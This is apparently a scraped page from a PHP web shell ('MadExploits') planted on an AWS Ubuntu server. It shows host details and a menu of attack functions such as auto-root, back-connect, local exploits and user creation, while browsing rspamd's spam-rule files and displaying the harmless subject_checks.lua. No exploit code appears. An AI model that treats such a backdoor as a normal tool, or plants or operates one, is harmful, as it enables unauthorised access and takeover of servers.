Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 52.14.77.105
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
rspamd /
rules /
[ HOME SHELL ]
Name
Size
Permission
Action
controller
[ DIR ]
drwxr-xr-x
regexp
[ DIR ]
drwxr-xr-x
archives.lua
4.01
KB
-rw-r--r--
bitcoin.lua
6.34
KB
-rw-r--r--
bounce.lua
3.94
KB
-rw-r--r--
content.lua
3.21
KB
-rw-r--r--
forwarding.lua
4.82
KB
-rw-r--r--
headers_checks.lua
31.06
KB
-rw-r--r--
html.lua
11.98
KB
-rw-r--r--
mid.lua
5.32
KB
-rw-r--r--
misc.lua
25.95
KB
-rw-r--r--
parts.lua
290
B
-rw-r--r--
rspamd.lua
2.42
KB
-rw-r--r--
subject_checks.lua
1.91
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : subject_checks.lua
--[[ Copyright (c) 2022, Vsevolod Stakhov <vsevolod@rspamd.com> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ]]-- local rspamd_regexp = require "rspamd_regexp" local util = require "rspamd_util" -- Uncategorized rules local subject_re = rspamd_regexp.create('/^(?:(?:Re|Fwd|Fw|Aw|Antwort|Sv):\\s*)+(.+)$/i') local function test_subject(task, check_function, rate) local function normalize_linear(a, x) local f = a * x return true, ((f < 1) and f or 1), tostring(x) end local sbj = task:get_header('Subject') if sbj then local stripped_subject = subject_re:search(sbj, false, true) if stripped_subject and stripped_subject[1] and stripped_subject[1][2] then sbj = stripped_subject[1][2] end local l = util.strlen_utf8(sbj) if check_function(sbj, l) then return normalize_linear(rate, l) end end return false end rspamd_config.SUBJ_ALL_CAPS = { callback = function(task) local caps_test = function(sbj) return util.is_uppercase(sbj) end return test_subject(task, caps_test, 1.0 / 40.0) end, score = 3.0, group = 'subject', type = 'mime', description = 'Subject contains mostly capital letters' } rspamd_config.LONG_SUBJ = { callback = function(task) local length_test = function(_, len) return len > 200 end return test_subject(task, length_test, 1.0 / 400.0) end, score = 3.0, group = 'subject', type = 'mime', description = 'Subject is very long' }
Close